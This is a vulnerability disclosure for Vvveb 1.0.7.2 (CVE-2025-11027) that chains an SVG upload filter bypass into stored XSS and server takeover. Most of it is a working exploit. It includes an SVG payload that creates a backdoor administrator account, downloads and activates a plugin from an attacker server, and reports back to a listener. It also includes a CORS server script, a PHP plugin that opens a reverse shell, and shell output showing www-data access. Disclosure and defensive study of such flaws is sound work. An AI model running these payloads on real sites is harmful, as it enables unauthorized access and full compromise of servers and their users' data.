Vvveb 1.0.7.2 - File Upload to Full Server Compromise

By KhanMarshai 12:04 PM - October 27th 2025
Type software
Product Environment web
Product Name Vvveb
Product Vendor givanz
Product Version 1.0.7.2
Product Link https://www.vvveb.com
Vulnerability Name SVG File Cross Site Scripting
Severity Critical
CVSS String
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
CVSS Score 9.0
CVE ID CVE-2025-11027
Vendor Acknowledgement Yes
Affected digital Assets
257
Affected Users
25700
Date of Reporting 09/17/2025
PoC Exploit https://gist.github.com/KhanMarshaI/b90045ee823866a52f33615776b5a6ec
Credit KhanMarshai, 0xhamy

Description

Vvveb ≤ 1.0.7.2 is vulnerable to file upload bypass leading to stored cross-site scripting (XSS) and remote code execution (RCE). The application uses blacklist-based file extension validation that can be bypassed by appending special characters (e.g., /) to filenames. Attackers can upload malicious SVG+XML files containing JavaScript that executes when rendered. This XSS can be chained to create administrator accounts, upload malicious plugins, and achieve full server compromise through reverse shell payloads.

Vulnerability Details

Vvveb's file upload mechanism relies on blacklisting file extensions without proper validation or sanitization. By appending special characters like / to the file extension (e.g., malicious.svg/), attackers can bypass the extension check and upload SVG files containing embedded JavaScript. SVG is an active document format supporting <script> tags and event handlers; when these files are rendered in the browser—either by direct viewing, embedding in iframes within posts/pages/products, or placement in plugin directories—the JavaScript executes in the application's security context.

This vulnerability affects multiple user roles with varying permissions:

  • vendor – create/manage own products
  • shop – create/manage all products
  • contributor – create/manage content/editor
  • author – create/manage own content/editor
  • editor – create/manage all content/editor

The XSS can be triggered through multiple vectors:

  1. Admin viewing the uploaded malicious image directly
  2. Rendering uploaded SVGs in plugin directories via code editor
  3. Embedding malicious SVGs in iframes within product/page/post descriptions

Once triggered, the XSS payload can perform privileged actions including creating backdoor administrator accounts, downloading and uploading malicious plugins from attacker-controlled servers, activating those plugins, and establishing persistent remote access through reverse shells.

Affected Endpoints

  • Product creation: http://localhost/admin/index.php?module=product/product&type=product
  • Media upload: http://localhost/admin/index.php?module=media/media
  • Page creation: http://localhost/admin/index.php?module=content/post&type=page
  • Post creation: http://localhost/admin/index.php?module=content/post&type=post
  • Plugin upload: http://localhost/admin/index.php?module=plugin/plugins

Steps to Reproduce

Prerequisites

  • User account with media/upload permissions (vendor, shop, contributor, author, or editor role)
  • Three listeners:
    1. Callback/beacon server: nc -lvnp 4444
    2. CORS-enabled HTTP server hosting malicious plugin: Python CORS server on port 1234
    3. Reverse shell listener: nc -lvnp 8000

Attack Chain

1. Upload Malicious SVG (Bypass File Extension Filter)

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg">
<script><![CDATA[
(function () {
    const REPORT_URL = 'http://127.0.0.1:4444/';
    const FILE_SERVER = 'http://127.0.0.1:1234/';
    const PLUGIN_FILENAME = 'test-plugin.zip';
    const PLUGIN_NAME = 'test-plugin';

    function report(msg) {
        try {
            navigator.sendBeacon(REPORT_URL, msg);
        } catch (e) {
            try { fetch(REPORT_URL, { method: 'POST', body: msg, keepalive: true }); } catch (e2) {}
        }
    }

    function findCsrfToken() {
        const metaNames = ['csrf-token', 'csrf_token', 'XSRF-TOKEN', 'xsrf-token'];
        for (const name of metaNames) {
            const m = document.querySelector('meta[name="' + name + '"]');
            if (m && m.content) return m.content;
        }
        const inputNames = ['csrf_token', 'csrf', '_token', 'token'];
        for (const n of inputNames) {
            const el = document.querySelector('input[name="' + n + '"]');
            if (el && el.value) return el.value;
        }
        return null;
    }

    function createAdmin() {
        const newAdminData = 'action=save&admin%5Busername%5D=backdooruser2&admin%5Bfirst_name%5D=Backdoor&admin%5Blast_name%5D=User&admin%5Bemail%5D=backdoor2%40test.com&admin%5Bpassword%5D=newadmin123&admin%5Brole_id%5D=1';
        return fetch('/admin/index.php?module=admin/user', {
            method: 'POST',
            headers: {'Content-Type': 'application/x-www-form-urlencoded'},
            credentials: 'include',
            body: newAdminData
        }).then(res => res.text().then(t => ({ status: res.status, text: t })));
    }

    function downloadPlugin() {
        return fetch(FILE_SERVER + PLUGIN_FILENAME + '?cb=' + Date.now(), { mode: 'cors' })
            .then(response => response.blob().then(blob => ({ response, blob })));
    }

    function uploadPlugin(blob) {
        const formData = new FormData();
        formData.append('action', 'upload');
        formData.append('file', blob, PLUGIN_FILENAME);
        const csrf = findCsrfToken();
        if (csrf) formData.append('csrf_token', csrf);
        return fetch('/admin/index.php?module=plugin/plugins', {
            method: 'POST',
            credentials: 'include',
            body: formData
        }).then(res => res.text().then(t => ({ status: res.status, text: t })));
    }

    function activatePlugin() {
        const actUrl = '/admin/index.php?module=plugin/plugins&action=activate&plugin=' + PLUGIN_NAME;
        return fetch(actUrl, { credentials: 'include' }).then(r => r.text());
    }

    createAdmin().then(stage1 => {
        report('STAGE 1 - Admin: SUCCESS | status:' + stage1.status);
        return downloadPlugin();
    }).then(dl => {
        report('STAGE 2 - Download: blobSize=' + dl.blob.size);
        return uploadPlugin(dl.blob);
    }).then(uploadRes => {
        report('STAGE 2 - Upload: status=' + uploadRes.status);
        return activatePlugin();
    }).then(actRes => {
        report('STAGE 3 - Activation: SUCCESS');
        setTimeout(() => { window.location.href = 'http://localhost/' + PLUGIN_NAME; }, 1500);
    }).catch(err => {
        report('ERROR: ' + err.message);
    });
})();
]]></script>
<rect width="400" height="120" fill="#222"/>
<text x="50%" y="50%" font-size="16" text-anchor="middle" dy=".3em" fill="#fff">Patched Debug POC</text>
</svg>
  1. Navigate to product creation: http://localhost/admin/index.php?module=product/product&type=product
  2. Click on featured media to upload an image
  3. Intercept the upload request using a proxy (e.g., Burp Suite)
  4. Modify the filename in the POST request to append /:
    Content-Disposition: form-data; name="files[]"; filename="malicious.svg/"
    Content-Type: image/svg+xml
    
  5. Note the uploaded file URL from intercepted responses (e.g., /public/media/1839-)

2. Embed Malicious SVG in Product Description

  1. In the product content editor, click the <> button to edit source code
  2. Inject an iframe pointing to the uploaded SVG:
    <p>I am an evil product.</p>
    <iframe width="800" height="200" src="http://localhost/public/media/1839-"></iframe>
    
  3. Save the product

3. Trigger XSS as Administrator

  1. As an administrator, view the malicious product: http://localhost/product/malicious-product
  2. The embedded SVG iframe loads and executes the JavaScript payload

4. Observe Multi-Stage Exploitation

The malicious SVG performs the following actions automatically:

Stage 1 – Create Backdoor Admin Account:

  • Sends POST request to /admin/index.php?module=admin/user
  • Creates new admin user: backdooruser2 / newadmin123 with role_id=1
  • Callback confirms: STAGE 1 - Admin: SUCCESS | status:200

Stage 2 – Download & Upload Malicious Plugin:
CORS Server:

from http.server import SimpleHTTPRequestHandler, HTTPServer

class CORSHandler(SimpleHTTPRequestHandler):
    def end_headers(self):
        self.send_header("Access-Control-Allow-Origin", "*")
        self.send_header("Access-Control-Allow-Headers", "Content-Type,Authorization")
        SimpleHTTPRequestHandler.end_headers(self)

HTTPServer(("127.0.0.1", 1234), CORSHandler).serve_forever()

Malicious Plugin to serve from CORS server:

<?php
/**
 * @package Test Plugin
 * Name: Test plugin
 * Slug: test-plugin
 */

use Vvveb\System\Routes;

class TestPlugin {
    function app() {
        Routes::addRoute('/test-plugin', ['module' => 'plugins/test-plugin/index/index']);
        system('php -r \'$sock=fsockopen("10.0.2.15",8000);system("/bin/sh <&3 >&3 2>&3");\'');
    }

    function __construct() {
        if (APP == 'app') {
            $this->app();
        }
    }
}

$testPlugin = new TestPlugin();
  • Downloads test-plugin.zip from attacker's CORS server (http://127.0.0.1:1234/)
  • Extracts CSRF tokens from page metadata, inputs, and cookies
  • Uploads plugin to /admin/index.php?module=plugin/plugins via multipart form data
  • Callback confirms: STAGE 2 - Upload result: status=200

Stage 3 – Activate Malicious Plugin:

  • Checks plugin via checkPluginAndActivate endpoint
  • Activates plugin via activate action
  • Falls back to hidden iframe-based activation if fetch fails
  • Callback confirms: STAGE 3 - Activation: SUCCESS

Stage 4 – Remote Code Execution:

  • Plugin's app() function executes on page load: http://localhost/
  • Establishes reverse shell:
    system('php -r \'$sock=fsockopen("10.0.2.15",8000);system("/bin/sh <&3 >&3 2>&3");\'');
    
  • Attacker gains shell access as www-data
┌──(kali㉿kali)-[~/Downloads/vvveb]
└─$ ncat -lvnp 8000
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:8000
Ncat: Listening on 0.0.0.0:8000
Ncat: Connection from 172.18.0.3:41880.
whoami                                                                                           
www-data                                                                                         
pwd
/var/www/html

5. Verification

Confirm exploitation success:

  • Backdoor admin account created: backdooruser2 visible in user management
  • Malicious plugin installed and activated in plugin manager
  • Reverse shell established: whoami returns www-data

Recommendation

  • Implement whitelist-based file validation: Only allow explicitly safe file types; reject SVG uploads entirely or implement strict server-side sanitization removing all <script> tags, event handlers, and external references.
  • Validate file extensions server-side: Use MIME type validation (not client-supplied headers) and verify file contents match declared types; normalize filenames to remove trailing special characters.
  • Sanitize SVG uploads: If SVG support is required, use server-side libraries (e.g., svg-sanitizer) to strip executable content before storage.
  • Convert risky formats: Automatically convert uploaded SVGs to safe raster formats (PNG/JPG) server-side.
  • Implement Content Security Policy (CSP): Disallow inline scripts (script-src 'self'), restrict image sources (img-src 'self'), and serve user-uploaded content from a separate, cookieless domain.
  • Restrict upload permissions: Limit media upload capabilities to trusted administrator roles only; implement approval workflows for contributor/author uploads.
  • Enforce plugin security controls: Require cryptographic signatures for plugins; restrict plugin installation to super-administrators; implement code review for all plugins before activation.
  • Add file content validation: Scan uploaded files for malicious patterns (JavaScript in SVG, PHP in images) before allowing storage or rendering.
  • Implement rate limiting and monitoring: Log all file uploads, admin account creations, and plugin installations; alert on suspicious patterns (rapid privileged actions, external network requests).